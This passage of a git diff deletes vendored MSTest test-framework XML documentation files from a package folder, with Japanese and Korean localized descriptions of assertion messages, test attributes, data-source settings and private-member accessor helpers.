が指定されています。{0}。" に類似したローカライズされた文字列を検索します。 - - - - - "インデックス {0} の要素が一致しません。" に類似したローカライズされた文字列を検索します。 - - - - - "インデックス {1} の要素は、必要な型ではありません。<{2}> が必要ですが、<{3}> が指定されています。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "インデックス {1} の要素は null です。必要な型:<{2}>。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "文字列 '{0}' は文字列 '{1}' で終わりません。{2}。" に類似したローカライズされた文字列を検索します。 - - - - - "無効な引数 - EqualsTester は null を使用することはできません。" に類似したローカライズされた文字列を検索します。 - - - - - "型 {0} のオブジェクトを {1} に変換できません。" に類似したローカライズされた文字列を検索します。 - - - - - "参照された内部オブジェクトは、現在有効ではありません。" に類似したローカライズされた文字列を検索します。 - - - - - "パラメーター '{0}' は無効です。{1}。" に類似したローカライズされた文字列を検索します。 - - - - - "プロパティ {0} は型 {1} を含んでいますが、型 {2} が必要です。" に類似したローカライズされた文字列を検索します。 - - - - - "{0} には型 <{1}> が必要ですが、型 <{2}> が指定されました。" に類似したローカライズされた文字列を検索します。 - - - - - "文字列 '{0}' は、パターン '{1}' と一致しません。{2}。" に類似したローカライズされた文字列を検索します。 - - - - - "正しくない型は <{1}> であり、実際の型は <{2}> です。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "文字列 '{0}' はパターン '{1}' と一致します。{2}。" に類似したローカライズされた文字列を検索します。 - - - - - "DataRowAttribute が指定されていません。DataTestMethodAttribute では少なくとも 1 つの DataRowAttribute が必要です。" に類似したローカライズされた文字列を検索します。 - - - - - "例外がスローされませんでした。{1} の例外が予期されていました。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "パラメーター '{0}' は無効です。値を null にすることはできません。{1}。" に類似したローカライズされた文字列を検索します。 - - - - - "要素数が異なります。" に類似したローカライズされた文字列を検索します。 - - - - - "指定されたシグネチャを使用するコンストラクターが見つかりませんでした。 - プライベート アクセサーを再生成しなければならないか、 - またはメンバーがプライベートであり、基底クラスで定義されている可能性があります。後者である場合、メンバーを - PrivateObject のコンストラクターに定義する型を渡す必要があります。" に類似したローカライズされた文字列を検索します。 - - - - - - "指定されたメンバー ({0}) が見つかりませんでした。プライベート アクセサーを再生成しなければならないか、 - またはメンバーがプライベートであり、基底クラスで定義されている可能性があります。後者である場合、メンバーを - 定義する型を PrivateObject のコンストラクターに渡す必要があります。" - に類似したローカライズされた文字列を検索します。 - - - - - - "文字列 '{0}' は文字列 '{1}' で始まりません。{2}。" に類似したローカライズされた文字列を検索します。 - - - - - "予期される例外の型は System.Exception または System.Exception の派生型である必要があります。" に類似したローカライズされた文字列を検索します。 - - - - - "(例外が発生したため、型 {0} の例外のメッセージを取得できませんでした。)" に類似したローカライズされた文字列を検索します。 - - - - - "テスト メソッドは予期された例外 {0} をスローしませんでした。{1}" に類似したローカライズされた文字列を検索します。 - - - - - "テスト メソッドは例外をスローしませんでした。テスト メソッドで定義されている属性 {0} で例外が予期されていました。" に類似したローカライズされた文字列を検索します。 - - - - - "テスト メソッドは、例外 {0} をスローしましたが、例外 {1} が予期されていました。例外メッセージ: {2}" に類似したローカライズされた文字列を検索します。 - - - - - "テスト メソッドは、例外 {0} をスローしましたが、例外 {1} またはその派生型が予期されていました。例外メッセージ: {2}" に類似したローカライズされた文字列を検索します。 - - - - - "例外 {2} がスローされましたが、例外 {1} が予期されていました。{0} - 例外メッセージ: {3} - スタック トレース: {4}" に類似したローカライズされた文字列を検索します。 - - - - - 単体テストの成果 - - - - - テストを実行しましたが、問題が発生しました。 - 問題には例外または失敗したアサーションが関係している可能性があります。 - - - - - テストが完了しましたが、成功したか失敗したかは不明です。 - 中止したテストに使用される場合があります。 - - - - - 問題なくテストが実行されました。 - - - - - 現在テストを実行しています。 - - - - - テストを実行しようとしているときにシステム エラーが発生しました。 - - - - - テストがタイムアウトしました。 - - - - - ユーザーによってテストが中止されました。 - - - - - テストは不明な状態です - - - - - 単体テストのフレームワークのヘルパー機能を提供する - - - - - すべての内部例外のメッセージなど、例外メッセージを - 再帰的に取得します - - 次のメッセージを取得する例外 - エラー メッセージ情報を含む文字列 - - - - クラスで使用できるタイムアウトの列挙型。 - 列挙型の型は一致している必要があります - - - - - 無限。 - - - - - テスト クラス属性。 - - - - - このテストの実行を可能するテスト メソッド属性を取得します。 - - このメソッドで定義されているテスト メソッド属性インスタンス。 - The 。このテストを実行するために使用されます。 - Extensions can override this method to customize how all methods in a class are run. - - - - テスト メソッド属性。 - - - - - テスト メソッドを実行します。 - - 実行するテスト メソッド。 - テストの結果を表す TestResult オブジェクトの配列。 - Extensions can override this method to customize running a TestMethod. - - - - テスト初期化属性。 - - - - - テスト クリーンアップ属性。 - - - - - Ignore 属性。 - - - - - テストのプロパティ属性。 - - - - - クラスの新しいインスタンスを初期化します。 - - - 名前。 - - - 値。 - - - - - 名前を取得します。 - - - - - 値を取得します。 - - - - - クラス初期化属性。 - - - - - クラス クリーンアップ属性。 - - - - - アセンブリ初期化属性。 - - - - - アセンブリ クリーンアップ属性。 - - - - - テストの所有者 - - - - - クラスの新しいインスタンスを初期化します。 - - - 所有者。 - - - - - 所有者を取得します。 - - - - - 優先順位属性。単体テストの優先順位を指定するために使用されます。 - - - - - クラスの新しいインスタンスを初期化します。 - - - 優先順位。 - - - - - 優先順位を取得します。 - - - - - テストの説明 - - - - - テストを記述する クラスの新しいインスタンスを初期化します。 - - 説明。 - - - - テストの説明を取得します。 - - - - - CSS プロジェクト構造の URI - - - - - CSS プロジェクト構造の URI の クラスの新しいインスタンスを初期化します。 - - CSS プロジェクト構造の URI。 - - - - CSS プロジェクト構造の URI を取得します。 - - - - - CSS イテレーション URI - - - - - CSS イテレーション URI の クラスの新しいインスタンスを初期化します。 - - CSS イテレーション URI。 - - - - CSS イテレーション URI を取得します。 - - - - - WorkItem 属性。このテストに関連付けられている作業項目の指定に使用されます。 - - - - - WorkItem 属性の クラスの新しいインスタンスを初期化します。 - - 作業項目に対する ID。 - - - - 関連付けられている作業項目に対する ID を取得します。 - - - - - タイムアウト属性。単体テストのタイムアウトを指定するために使用されます。 - - - - - クラスの新しいインスタンスを初期化します。 - - - タイムアウト。 - - - - - 事前設定するタイムアウトを指定して クラスの新しいインスタンスを初期化する - - - タイムアウト - - - - - タイムアウトを取得します。 - - - - - アダプターに返される TestResult オブジェクト。 - - - - - クラスの新しいインスタンスを初期化します。 - - - - - 結果の表示名を取得または設定します。複数の結果が返される場合に便利です。 - null の場合は、メソッド名が DisplayName として使用されます。 - - - - - テスト実行の成果を取得または設定します。 - - - - - テストが失敗した場合にスローされる例外を取得または設定します。 - - - - - テスト コードでログに記録されたメッセージの出力を取得または設定します。 - - - - - テスト コードでログに記録されたメッセージの出力を取得または設定します。 - - - - - テスト コードでデバッグ トレースを取得または設定します。 - - - - - Gets or sets the debug traces by test code. - - - - - テスト実行の期間を取得または設定します。 - - - - - データ ソース内のデータ行インデックスを取得または設定します。データ ドリブン テストの一続きのデータ行の - それぞれの結果に対してのみ設定されます。 - - - - - テスト メソッドの戻り値を取得または設定します。(現在は、常に null です)。 - - - - - テストで添付された結果ファイルを取得または設定します。 - - - - - データ ドリブン テストの接続文字列、テーブル名、行アクセス方法を指定します。 - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - DataSource の既定のプロバイダー名。 - - - - - 既定のデータ アクセス方法。 - - - - - クラスの新しいインスタンスを初期化します。このインスタンスは、データ ソースにアクセスするためのデータ プロバイダー、接続文字列、データ テーブル、データ アクセス方法を指定して初期化されます。 - - System.Data.SqlClient などデータ プロバイダーの不変名 - - データ プロバイダー固有の接続文字列。 - 警告: 接続文字列には機微なデータ (パスワードなど) を含めることができます。 - 接続文字列はソース コードのプレーンテキストとコンパイルされたアセンブリに保存されます。 - ソース コードとアセンブリへのアクセスを制限して、この秘匿性の高い情報を保護します。 - - データ テーブルの名前。 - データにアクセスする順番をしています。 - - - - クラスの新しいインスタンスを初期化します。このインスタンスは接続文字列とテーブル名を指定して初期化されます。 - OLEDB データ ソースにアクセスするには接続文字列とデータ テーブルを指定します。 - - - データ プロバイダー固有の接続文字列。 - 警告: 接続文字列には機微なデータ (パスワードなど) を含めることができます。 - 接続文字列はソース コードのプレーンテキストとコンパイルされたアセンブリに保存されます。 - ソース コードとアセンブリへのアクセスを制限して、この秘匿性の高い情報を保護します。 - - データ テーブルの名前。 - - - - クラスの新しいインスタンスを初期化します。このインスタンスは設定名に関連付けられているデータ プロバイダーと接続文字列を使用して初期化されます。 - - app.config ファイルの <microsoft.visualstudio.qualitytools> セクションにあるデータ ソースの名前。 - - - - データ ソースのデータ プロバイダーを表す値を取得します。 - - - データ プロバイダー名。データ プロバイダーがオブジェクトの初期化時に指定されていなかった場合は、System.Data.OleDb の既定のプロバイダーが返されます。 - - - - - データ ソースの接続文字列を表す値を取得します。 - - - - - データを提供するテーブル名を示す値を取得します。 - - - - - データ ソースへのアクセスに使用するメソッドを取得します。 - - - - 次のいずれか 値。以下の場合 初期化されていない場合は、これは既定値を返します 。 - - - - - app.config ファイルの <microsoft.visualstudio.qualitytools> セクションで見つかるデータ ソースの名前を取得します。 - - - - - データをインラインで指定できるデータ ドリブン テストの属性。 - - - - - すべてのデータ行を検索して、実行します。 - - - テスト メソッド。 - - - 次の配列 。 - - - - - データ ドリブン テスト メソッドを実行します。 - - 実行するテスト メソッド。 - データ行. - 実行の結果。 - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/ko/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/ko/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 621cef02..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/ko/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,1097 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - 테스트 배포별 배포 항목(파일 또는 디렉터리)을 지정하는 데 사용됩니다. - 테스트 클래스 또는 테스트 메서드에서 지정할 수 있습니다. - 둘 이상의 항목을 지정하기 위한 여러 특성 인스턴스를 가질 수 있습니다. - 항목 경로는 절대 또는 상대 경로일 수 있으며, 상대 경로인 경우 RunConfig.RelativePathRoot가 기준입니다. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - - - 클래스의 새 인스턴스를 초기화합니다. - - 배포할 파일 또는 디렉터리. 경로는 빌드 출력 디렉터리에 대해 상대적입니다. 배포된 테스트 어셈블리와 동일한 디렉터리에 항목이 복사됩니다. - - - - 클래스의 새 인스턴스를 초기화합니다. - - 배포할 파일 또는 디렉터리에 대한 상대 또는 절대 경로. 경로는 빌드 출력 디렉터리에 대해 상대적입니다. 배포된 테스트 어셈블리와 동일한 디렉터리에 항목이 복사됩니다. - 항목을 복사할 디렉터리의 경로. 배포 디렉터리에 대한 절대 경로 또는 상대 경로일 수 있습니다.에 의해 식별되는 모든 파일 및 디렉터리는 이 디렉터리에 복사됩니다. - - - - 복사할 소스 파일 또는 폴더의 경로를 가져옵니다. - - - - - 항목을 복사할 디렉터리의 경로를 가져옵니다. - - - - - 섹션, 속성, 특성의 이름에 대한 리터럴을 포함합니다. - - - - - 구성 섹션 이름입니다. - - - - - Beta2의 구성 섹션 이름입니다. 호환성을 위해 남겨둡니다. - - - - - 데이터 소스의 섹션 이름입니다. - - - - - 'Name'의 특성 이름 - - - - - 'ConnectionString'의 특성 이름 - - - - - 'DataAccessMethod'의 특성 이름 - - - - - 'DataTable'의 특성 이름 - - - - - 데이터 소스 요소입니다. - - - - - 이 구성의 이름을 가져오거나 설정합니다. - - - - - .config 파일에서 <connectionStrings> 섹션의 ConnectionStringSettings 요소를 가져오거나 설정합니다. - - - - - 데이터 테이블의 이름을 가져오거나 설정합니다. - - - - - 데이터 액세스의 형식을 가져오거나 설정합니다. - - - - - 키 이름을 가져옵니다. - - - - - 구성 속성을 가져옵니다. - - - - - 데이터 소스 요소 컬렉션입니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - - - - 지정한 키와 함께 구성 요소를 반환합니다. - - 반환할 요소의 키입니다. - 지정한 키가 있는 System.Configuration.ConfigurationElement입니다. 그렇지 않은 경우 null입니다. - - - - 지정한 인덱스 위치에서 구성 요소를 가져옵니다. - - 반환할 System.Configuration.ConfigurationElement의 인덱스 위치입니다. - - - - 구성 요소 컬렉션에 구성 요소를 추가합니다. - - 추가할 System.Configuration.ConfigurationElement입니다. - - - - 컬렉션에서 System.Configuration.ConfigurationElement를 제거합니다. - - . - - - - 컬렉션에서 System.Configuration.ConfigurationElement를 제거합니다. - - 제거할 System.Configuration.ConfigurationElement의 키입니다. - - - - 컬렉션에서 모든 구성 요소 개체를 제거합니다. - - - - - 새 을(를) 만듭니다. - - . - - - - 지정한 구성 요소의 요소 키를 가져옵니다. - - 키를 반환할 System.Configuration.ConfigurationElement입니다. - 지정한 System.Configuration.ConfigurationElement의 키로 작동하는 System.Object입니다. - - - - 구성 요소 컬렉션에 구성 요소를 추가합니다. - - 추가할 System.Configuration.ConfigurationElement입니다. - - - - 구성 요소 컬렉션에 구성 요소를 추가합니다. - - 지정한 System.Configuration.ConfigurationElement를 추가할 인덱스 위치입니다. - 추가할 System.Configuration.ConfigurationElement입니다. - - - - 테스트에 대한 구성 설정을 지원합니다. - - - - - 테스트에 대한 구성 섹션을 가져옵니다. - - - - - 테스트에 대한 구성 섹션입니다. - - - - - 이 구성 섹션의 데이터 소스를 가져옵니다. - - - - - 속성의 컬렉션을 가져옵니다. - - - 요소의 속성입니다. - - - - - 이 클래스는 시스템에 있는 public이 아닌 라이브 내부 개체를 나타냅니다. - - - - - private 클래스의 이미 존재하는 개체를 포함하는 클래스의 - 새 인스턴스를 초기화합니다. - - 전용 멤버에 도달하기 위한 시작 지점 역할을 하는 개체 - m_X.m_Y.m_Z 형식으로 검색할 개체를 가리키는 마침표(.)를 사용하는 역참조 문자열 - - - - 지정된 형식을 래핑하는 클래스의 새 인스턴스를 - 초기화합니다. - - 어셈블리의 이름 - 정규화된 이름 - 생성자에 전달할 인수 - - - - 지정된 형식을 래핑하는 클래스의 새 인스턴스를 - 초기화합니다. - - 어셈블리의 이름 - 정규화된 이름 - 다음의 배열: 가져올 생성자에 대한 매개 변수의 수, 순서 및 형식을 나타내는 개체 - 생성자에 전달할 인수 - - - - 지정된 형식을 래핑하는 클래스의 새 인스턴스를 - 초기화합니다. - - 만들 개체의 형식 - 생성자에 전달할 인수 - - - - 지정된 형식을 래핑하는 클래스의 새 인스턴스를 - 초기화합니다. - - 만들 개체의 형식 - 다음의 배열: 가져올 생성자에 대한 매개 변수의 수, 순서 및 형식을 나타내는 개체 - 생성자에 전달할 인수 - - - - 지정된 개체를 래핑하는 클래스의 새 인스턴스를 - 초기화합니다. - - 래핑할 개체 - - - - 지정된 개체를 래핑하는 클래스의 새 인스턴스를 - 초기화합니다. - - 래핑할 개체 - PrivateType 개체 - - - - 대상을 가져오거나 설정합니다. - - - - - 기본 개체의 형식을 가져옵니다. - - - - - 은(는) 대상 개체의 해시 코드를 반환합니다. - - 대상 개체의 해시 코드를 나타내는 INT - - - - 같음 - - 비교할 개체 - 개체가 같은 경우 true를 반환합니다. - - - - 지정된 메서드를 호출합니다. - - 메서드의 이름 - 호출할 멤버에 전달하기 위한 인수. - 메서드 호출의 결과 - - - - 지정된 메서드를 호출합니다. - - 메서드의 이름 - 다음의 배열: 메서드가 가져올 매개 변수의 수, 순서 및 형식을 나타내는 개체. - 호출할 멤버에 전달하기 위한 인수. - 메서드 호출의 결과 - - - - 지정된 메서드를 호출합니다. - - 메서드의 이름 - 다음의 배열: 메서드가 가져올 매개 변수의 수, 순서 및 형식을 나타내는 개체. - 호출할 멤버에 전달하기 위한 인수. - 제네릭 인수의 형식에 해당하는 형식의 배열. - 메서드 호출의 결과 - - - - 지정된 메서드를 호출합니다. - - 메서드의 이름 - 호출할 멤버에 전달하기 위한 인수. - 문화권 정보 - 메서드 호출의 결과 - - - - 지정된 메서드를 호출합니다. - - 메서드의 이름 - 다음의 배열: 메서드가 가져올 매개 변수의 수, 순서 및 형식을 나타내는 개체. - 호출할 멤버에 전달하기 위한 인수. - 문화권 정보 - 메서드 호출의 결과 - - - - 지정된 메서드를 호출합니다. - - 메서드의 이름 - 하나 이상의 배열 인덱스로 검색 수행 방법을 지정. - 호출할 멤버에 전달하기 위한 인수. - 메서드 호출의 결과 - - - - 지정된 메서드를 호출합니다. - - 메서드의 이름 - 하나 이상의 배열 인덱스로 검색 수행 방법을 지정. - 다음의 배열: 메서드가 가져올 매개 변수의 수, 순서 및 형식을 나타내는 개체. - 호출할 멤버에 전달하기 위한 인수. - 메서드 호출의 결과 - - - - 지정된 메서드를 호출합니다. - - 메서드의 이름 - 하나 이상의 배열 인덱스로 검색 수행 방법을 지정. - 호출할 멤버에 전달하기 위한 인수. - 문화권 정보 - 메서드 호출의 결과 - - - - 지정된 메서드를 호출합니다. - - 메서드의 이름 - 하나 이상의 배열 인덱스로 검색 수행 방법을 지정. - 다음의 배열: 메서드가 가져올 매개 변수의 수, 순서 및 형식을 나타내는 개체. - 호출할 멤버에 전달하기 위한 인수. - 문화권 정보 - 메서드 호출의 결과 - - - - 지정된 메서드를 호출합니다. - - 메서드의 이름 - 하나 이상의 배열 인덱스로 검색 수행 방법을 지정. - 다음의 배열: 메서드가 가져올 매개 변수의 수, 순서 및 형식을 나타내는 개체. - 호출할 멤버에 전달하기 위한 인수. - 문화권 정보 - 제네릭 인수의 형식에 해당하는 형식의 배열. - 메서드 호출의 결과 - - - - 각 차원에 대한 첨자 배열을 사용하여 배열 요소를 가져옵니다 - - 멤버의 이름 - 구성된 비트마스크 - 요소의 배열입니다. - - - - 각 차원에 대해 첨자의 배열을 사용하여 배열 요소를 설정합니다. - - 멤버의 이름 - 설정할 값 - 구성된 비트마스크 - - - - 각 차원에 대한 첨자 배열을 사용하여 배열 요소를 가져옵니다 - - 멤버의 이름 - 하나 이상의 배열 인덱스로 검색 수행 방법을 지정. - 구성된 비트마스크 - 요소의 배열입니다. - - - - 각 차원에 대해 첨자의 배열을 사용하여 배열 요소를 설정합니다. - - 멤버의 이름 - 하나 이상의 배열 인덱스로 검색 수행 방법을 지정. - 설정할 값 - 구성된 비트마스크 - - - - 필드를 가져옵니다. - - 필드의 이름 - 필드입니다. - - - - 필드를 설정합니다. - - 필드의 이름 - 설정할 값 - - - - 필드를 가져옵니다. - - 필드의 이름 - 하나 이상의 배열 인덱스로 검색 수행 방법을 지정. - 필드입니다. - - - - 필드를 설정합니다. - - 필드의 이름 - 하나 이상의 배열 인덱스로 검색 수행 방법을 지정. - 설정할 값 - - - - 필드 또는 속성을 가져옵니다. - - 필드 또는 속성의 이름 - 필드 또는 속성입니다. - - - - 필드 또는 속성을 설정합니다. - - 필드 또는 속성의 이름 - 설정할 값 - - - - 필드 또는 속성을 가져옵니다. - - 필드 또는 속성의 이름 - 하나 이상의 배열 인덱스로 검색 수행 방법을 지정. - 필드 또는 속성입니다. - - - - 필드 또는 속성을 설정합니다. - - 필드 또는 속성의 이름 - 하나 이상의 배열 인덱스로 검색 수행 방법을 지정. - 설정할 값 - - - - 속성을 가져옵니다 - - 속성의 이름 - 호출할 멤버에 전달하기 위한 인수. - 속성입니다. - - - - 속성을 가져옵니다 - - 속성의 이름 - 다음의 배열: 인덱싱된 속성에 대한 매개 변수의 수, 순서 및 형식을 나타내는 개체. - 호출할 멤버에 전달하기 위한 인수. - 속성입니다. - - - - 속성을 설정합니다. - - 속성의 이름 - 설정할 값 - 호출할 멤버에 전달하기 위한 인수. - - - - 속성을 설정합니다. - - 속성의 이름 - 다음의 배열: 인덱싱된 속성에 대한 매개 변수의 수, 순서 및 형식을 나타내는 개체. - 설정할 값 - 호출할 멤버에 전달하기 위한 인수. - - - - 속성을 가져옵니다 - - 속성의 이름 - 하나 이상의 배열 인덱스로 검색 수행 방법을 지정. - 호출할 멤버에 전달하기 위한 인수. - 속성입니다. - - - - 속성을 가져옵니다 - - 속성의 이름 - 하나 이상의 배열 인덱스로 검색 수행 방법을 지정. - 다음의 배열: 인덱싱된 속성에 대한 매개 변수의 수, 순서 및 형식을 나타내는 개체. - 호출할 멤버에 전달하기 위한 인수. - 속성입니다. - - - - 속성을 설정합니다. - - 속성의 이름 - 하나 이상의 배열 인덱스로 검색 수행 방법을 지정. - 설정할 값 - 호출할 멤버에 전달하기 위한 인수. - - - - 속성을 설정합니다. - - 속성의 이름 - 하나 이상의 배열 인덱스로 검색 수행 방법을 지정. - 설정할 값 - 다음의 배열: 인덱싱된 속성에 대한 매개 변수의 수, 순서 및 형식을 나타내는 개체. - 호출할 멤버에 전달하기 위한 인수. - - - - 액세스 문자열의 유효성을 검사합니다. - - 액세스 문자열 - - - - 멤버를 호출합니다. - - 멤버의 이름 - 추가 특성 - 호출에 대한 인수 - 문화권 - 호출의 결과 - - - - 현재 private 형식에서 가장 적절한 제네릭 메서드 시그니처를 추출합니다. - - 서명 캐시를 검색할 메서드의 이름. - 검색할 매개 변수의 형식에 해당하는 형식의 배열. - 제네릭 인수의 형식에 해당하는 형식의 배열. - 메서드 서명을 추가로 필터링. - 매개 변수에 대한 한정자입니다. - methodinfo 인스턴스입니다. - - - - 이 클래스는 전용 접근자 기능에 대한 private 클래스를 나타냅니다. - - - - - 모든 것에 바인딩됩니다. - - - - - 래핑된 형식입니다. - - - - - private 형식을 포함하는 클래스의 새 인스턴스를 초기화합니다. - - 어셈블리 이름 - 다음의 정규화된 이름: - - - - Initializes a new instance of the class that contains - the private type from the type object - - 만들어야 할 래핑된 형식. - - - - 참조된 형식을 가져옵니다. - - - - - 정적 멤버를 호출합니다. - - InvokeHelper에 대한 멤버의 이름 - 호출에 대한 인수 - 호출의 결과 - - - - 정적 멤버를 호출합니다. - - InvokeHelper에 대한 멤버의 이름 - 다음의 배열: 호출할 메서드에 대한 매개 변수의 수, 순서 및 형식을 나타내는 개체 - 호출에 대한 인수 - 호출의 결과 - - - - 정적 멤버를 호출합니다. - - InvokeHelper에 대한 멤버의 이름 - 다음의 배열: 호출할 메서드에 대한 매개 변수의 수, 순서 및 형식을 나타내는 개체 - 호출에 대한 인수 - 제네릭 인수의 형식에 해당하는 형식의 배열. - 호출의 결과 - - - - 정적 메서드를 호출합니다. - - 멤버의 이름 - 호출에 대한 인수 - 문화권 - 호출의 결과 - - - - 정적 메서드를 호출합니다. - - 멤버의 이름 - 다음의 배열: 호출할 메서드에 대한 매개 변수의 수, 순서 및 형식을 나타내는 개체 - 호출에 대한 인수 - 문화권 정보 - 호출의 결과 - - - - 정적 메서드를 호출합니다. - - 멤버의 이름 - 추가 호출 특성 - 호출에 대한 인수 - 호출의 결과 - - - - 정적 메서드를 호출합니다. - - 멤버의 이름 - 추가 호출 특성 - 다음의 배열: 호출할 메서드에 대한 매개 변수의 수, 순서 및 형식을 나타내는 개체 - 호출에 대한 인수 - 호출의 결과 - - - - 정적 메서드를 호출합니다. - - 멤버의 이름 - 추가 호출 특성 - 호출에 대한 인수 - 문화권 - 호출의 결과 - - - - 정적 메서드를 호출합니다. - - 멤버의 이름 - 추가 호출 특성 - /// 다음의 배열: 호출할 메서드에 대한 매개 변수의 수, 순서 및 형식을 나타내는 개체 - 호출에 대한 인수 - 문화권 - 호출의 결과 - - - - 정적 메서드를 호출합니다. - - 멤버의 이름 - 추가 호출 특성 - /// 다음의 배열: 호출할 메서드에 대한 매개 변수의 수, 순서 및 형식을 나타내는 개체 - 호출에 대한 인수 - 문화권 - 제네릭 인수의 형식에 해당하는 형식의 배열. - 호출의 결과 - - - - 정적 배열의 요소를 가져옵니다. - - 배열의 이름 - - 가져올 요소의 위치를 지정하는 인덱스를 나타내는 32비트 정수의 1차원 배열입니다. - 예를 들어 a[10][11]에 액세스하려면 인덱스는 {10,11}이 됩니다. - - 지정된 위치의 요소 - - - - 정적 배열의 멤버를 설정합니다. - - 배열의 이름 - 설정할 값 - - 설정할 요소의 위치를 지정하는 인덱스를 나타내는 32비트 정수의 1차원 배열입니다. - 예를 들어 a[10][11]에 액세스하려면 배열은 {10,11}이 됩니다. - - - - - 정적 배열의 요소를 가져옵니다. - - 배열의 이름 - 추가 InvokeHelper 특성 - - 가져올 요소의 위치를 지정하는 인덱스를 나타내는 32비트 정수의 1차원 배열입니다. - 예를 들어 a[10][11]에 액세스하려면 배열은 {10,11}이 됩니다. - - 지정된 위치의 요소 - - - - 정적 배열의 멤버를 설정합니다. - - 배열의 이름 - 추가 InvokeHelper 특성 - 설정할 값 - - 설정할 요소의 위치를 지정하는 인덱스를 나타내는 32비트 정수의 1차원 배열입니다. - 예를 들어 a[10][11]에 액세스하려면 배열은 {10,11}이 됩니다. - - - - - 정적 필드를 가져옵니다. - - 필드의 이름 - 정적 필드입니다. - - - - 정적 필드를 설정합니다. - - 필드의 이름 - 호출에 대한 인수 - - - - 지정된 InvokeHelper 특성을 사용하여 정적 필드를 가져옵니다. - - 필드의 이름 - 추가 호출 특성 - 정적 필드입니다. - - - - 바인딩 특성을 사용하여 정적 필드를 설정합니다. - - 필드의 이름 - 추가 InvokeHelper 특성 - 호출에 대한 인수 - - - - 정적 필드 또는 속성을 가져옵니다. - - 필드 또는 속성의 이름 - 정적 필드 또는 속성입니다. - - - - 정적 필드 또는 속성을 설정합니다. - - 필드 또는 속성의 이름 - 필드나 속성에 대해 설정할 값 - - - - 지정된 InvokeHelper 특성을 사용하여 정적 필드 또는 속성을 가져옵니다. - - 필드 또는 속성의 이름 - 추가 호출 특성 - 정적 필드 또는 속성입니다. - - - - 바인딩 특성을 사용하여 정적 필드 또는 속성을 설정합니다. - - 필드 또는 속성의 이름 - 추가 호출 특성 - 필드나 속성에 대해 설정할 값 - - - - 정적 속성을 가져옵니다. - - 필드 또는 속성의 이름 - 호출에 대한 인수 - 정적 속성입니다. - - - - 정적 속성을 설정합니다. - - 속성의 이름 - 필드나 속성에 대해 설정할 값 - 호출할 멤버에 전달하기 위한 인수. - - - - 정적 속성을 설정합니다. - - 속성의 이름 - 필드나 속성에 대해 설정할 값 - 다음의 배열: 인덱싱된 속성에 대한 매개 변수의 수, 순서 및 형식을 나타내는 개체. - 호출할 멤버에 전달하기 위한 인수. - - - - 정적 속성을 가져옵니다. - - 속성의 이름 - 추가 호출 특성. - 호출할 멤버에 전달하기 위한 인수. - 정적 속성입니다. - - - - 정적 속성을 가져옵니다. - - 속성의 이름 - 추가 호출 특성. - 다음의 배열: 인덱싱된 속성에 대한 매개 변수의 수, 순서 및 형식을 나타내는 개체. - 호출할 멤버에 전달하기 위한 인수. - 정적 속성입니다. - - - - 정적 속성을 설정합니다. - - 속성의 이름 - 추가 호출 특성. - 필드나 속성에 대해 설정할 값 - 인덱싱된 속성을 위한 선택적인 인덱스 값. 인덱싱된 속성의 인덱스는 0부터 시작합니다. 인덱싱되지 않은 속성에 대해서는 이 값이 null이어야 합니다. - - - - 정적 속성을 설정합니다. - - 속성의 이름 - 추가 호출 특성. - 필드나 속성에 대해 설정할 값 - 다음의 배열: 인덱싱된 속성에 대한 매개 변수의 수, 순서 및 형식을 나타내는 개체. - 호출할 멤버에 전달하기 위한 인수. - - - - 정적 메서드를 호출합니다. - - 멤버의 이름 - 추가 호출 특성 - 호출에 대한 인수 - 문화권 - 호출의 결과 - - - - 제네릭 메서드에 대한 메서드 시그니처 검색을 제공합니다. - - - - - 이 두 메서드의 메서드 시그니처를 비교합니다. - - Method1 - Method2 - 비슷한 경우 True입니다. - - - - 제공된 형식의 기본 형식에서 계층 구조 수준을 가져옵니다. - - 형식입니다. - 깊이입니다. - - - - 제공된 정보를 사용하여 가장 많이 파생된 형식을 찾습니다. - - 후보 일치 항목입니다. - 일치 항목 수입니다. - 가장 많이 파생된 메서드입니다. - - - - 기본 기준과 일치하는 메서드의 집합을 고려하여 형식 배열을 기반으로 - 메서드를 선택하세요. 기준과 일치하는 메서드가 없으면 이 메서드는 - Null을 반환합니다. - - 바인딩 사양입니다. - 후보 일치 항목 - 형식 - 매개 변수 한정자입니다. - 일치하는 메서드입니다. 일치 항목이 없는 경우 null입니다. - - - - 제공된 두 메서드에서 가장 한정적인 메서드를 찾습니다. - - 메서드 1 - 메서드 1에 대한 매개 변수 순서 - 매개 변수 배열 형식입니다. - 메서드 2 - 메서드 2에 대한 매개 변수 순서 - >매개 변수 배열 형식입니다. - 검색할 형식입니다. - Args. - 일치를 나타내는 int입니다. - - - - 제공된 두 메서드에서 가장 한정적인 메서드를 찾습니다. - - 메서드 1 - 메서드 1에 대한 매개 변수 순서 - 매개 변수 배열 형식입니다. - 메서드 2 - 메서드 2에 대한 매개 변수 순서 - >매개 변수 배열 형식입니다. - 검색할 형식입니다. - Args. - 일치를 나타내는 int입니다. - - - - 제공된 두 형식 중 가장 한정적인 형식을 찾습니다. - - 형식 1 - 형식 2 - 정의하는 형식 - 일치를 나타내는 int입니다. - - - - 단위 테스트에 제공되는 정보를 저장하는 데 사용됩니다. - - - - - 테스트에 대한 테스트 속성을 가져옵니다. - - - - - 테스트가 데이터 기반 테스트에 사용될 때 현재 데이터 행을 가져옵니다. - - - - - 테스트가 데이터 기반 테스트에 사용될 때 현재 데이터 연결 행을 가져옵니다. - - - - - 배포된 파일 및 결과 파일이 저장되는, 테스트 실행에 대한 기본 디렉터리를 